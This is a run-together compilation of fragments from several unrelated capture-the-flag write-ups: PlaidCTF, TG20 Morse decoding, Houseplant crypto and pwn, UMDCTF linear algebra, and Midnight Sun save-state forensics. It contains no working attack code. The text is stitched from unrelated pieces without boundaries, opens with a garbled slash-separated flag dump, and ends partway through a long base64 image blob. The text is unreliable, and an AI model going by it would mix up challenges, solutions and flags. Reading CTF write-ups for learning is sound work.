/SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and121 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE and122 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE/SPACE125 /SPACE/P/C/T/F/P/P/C/T/F/P/C/T/F/{/W/H/A/T/_/I/N/_/T/A/R/N/A/T/I/O/N/_/I/S/_/T/H/1/S/_/F/I/L/E/S/Y/S/T/E/M/!/}/SPACE/NOFLAG4U``` Hence the flag is `PCTF{WHAT_IN_TARNATION_IS_TH1S_FILESYSTEM!}`
Writeup for the emojidb pwn challenge. Including digging into the actual vulnerability in glibc :)Blog and repo with the exploit is here https://saaramar.github.io/emojidb_plaidctf2020/
## Solution* We are given with> 4c 53 41 74 4c 53 34 67 4c 69 34 74 4c 53 30 67 4c 53 30 74 4c 53 30 67 65 79 34 74 4c 53 41 75 49 43 38 67 4c 53 34 67 4c 69 41 75 49 43 30 75 4c 69 41 75 49 43 30 75 4c 69 41 76 49 43 34 75 4c 69 41 74 4c 53 30 67 4c 53 30 67 4c 69 41 76 49 43 34 67 4c 69 34 75 49 43 30 74 4c 53 41 76 49 43 34 75 49 43 30 75 49 43 38 67 4c 53 30 74 49 43 34 75 4c 53 41 75 4c 53 34 67 4c 79 41 75 4c 53 34 75 49 43 34 75 49 43 34 75 4c 53 34 67 4c 69 42 39 49 41 3d 3d* It looks like `hexadecimal` format. Converting it to ASCII gives a `base64` format.>LSAtLS4gLi4tLS0gLS0tLS0gey4tLSAuIC8gLS4gLiAuIC0uLiAuIC0uLiAvIC4uLiAtLS0gLS0gLiAvIC4gLi4uIC0tLSAvIC4uIC0uIC8gLS0tIC4uLSAuLS4gLyAuLS4uIC4uIC4uLS4gLiB9IA==* Converting base64 to ASCII we get `Morse Code`> - --. ..--- ----- {.-- . / -. . . -.. . -.. / ... --- -- . / . ... --- / .. -. / --- ..- .-. / .-.. .. ..-. . } * Decoding Morse Code, we get flag.* **Flag :**`TG20{WE NEEDED SOME ESO IN OUR LIFE}`
This involves matrix multiplication and then a1z26 cipher decoding.Here is the [writeup](https://www.zsquare.org/post/houseplant-ctf-2020-crypto-writeups)
Pass1: check _ character in place 2,7,12,17 of flagPass2: check 4th char of flag=0 | 6th char=3 | 14th char=0 other Linear Algebra is:```(1th+5F)+3th=0F4 (4th+5th)+6th=0D9=>(30+5th)+33=0D9=>5th=76='v' place5='v' [pass2](4th+5th)+6th =0D9 place4=0 | place5=v | place6=3 [pass3]7th+8th+9th=10D => 5F+8th+9th=10D=> 8th+9th=10D-5F=AE if place 8='5'=> place9=>79='y'```... ```x10=a [10th char of flag]x11=bx13=cx15=dx16=ex18=f ``` ```a+b=188c+d=210e+f=201a+c+e=332d+f=195a+e=232``` solve Linear Algebra with:`https://quickmath.com/webMathematica3/quickmath/equations/solve/advanced.jsp#c=solve_advancedsolveequations&v1=a%2Bb%253D188%250Ac%2Bd%253D210%250Ae%2Bf%253D201%250Aa%2Bc%2Be%253D332%250Ad%2Bf%253D195%250Aa%2Be%253D232&v2=a%250Ab%250Ac%250Ad%250Ae%250Af` ```x10=a ='t' [10th char of flag is t]x11=b ='H'x13=c ='d'x15=d = 'n'x16=e ='t'x18=f ='U'``` Final Flag:UMDCTF-{I_L0v3_MatH_d0nt_Ufgh}
# Masterpiece (forensics, 78p, 115 solved) In the challenge we get a Snes9x [state save file](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-04-MidnightSun-quals/masterpiece/masterpiece.000).This is basically a saved state of the emulator.If we ungzip this file and look at it with hexeditor we can extract some information about the game: ```NAM:000065:Z:\Share\snes-forensics\snes9x\Roms\Mario Paint (Japan, USA).sfc``` So we know the game, and we can easily find this ROM on the internet.However just trying to load this file via `load game position` crashes/hangs the emulator. If you look at the specs for the save state file eg. at https://github.com/snes9xgit/snes9x/blob/master/docs/snapshots.txtyou will see that the file has some clear structure with sections we can easily find by looking for certain strings. Our first idea was to create a clean save state file for this game, and then transplant the memory and registers values from the broken save file, using hexeditor. With this we got [this save file](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-04-MidnightSun-quals/masterpiece/Mario Paint (Japan, USA).000) which when loaded shows: ![](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-04-MidnightSun-quals/masterpiece/flag.png) And the flag is: `midnight{ITS_A_ME_FLAG_IN_THE_A_GAME}`
# Houseplant CTF 2020 – Adventure-Revisited * **Category:** pwn* **Points:** 1872 ## Challenge > Let's go on an adventure!> > The solution is in there... somewhere.> > (#adventure-revisited on discord)> > Creator: Jess> > Hint! You might want to read that Story Starter again.> > hint.7z ad100f3cfbc3a5a51951de2ff88773da ## Solution The challenge gives you a [file](https://github.com/m3ssap0/CTF-Writeups/raw/master/Houseplant%20CTF%202020/Adventure-Revisited/hint.7z). This file is not an archive, but it contains a base64 string. ```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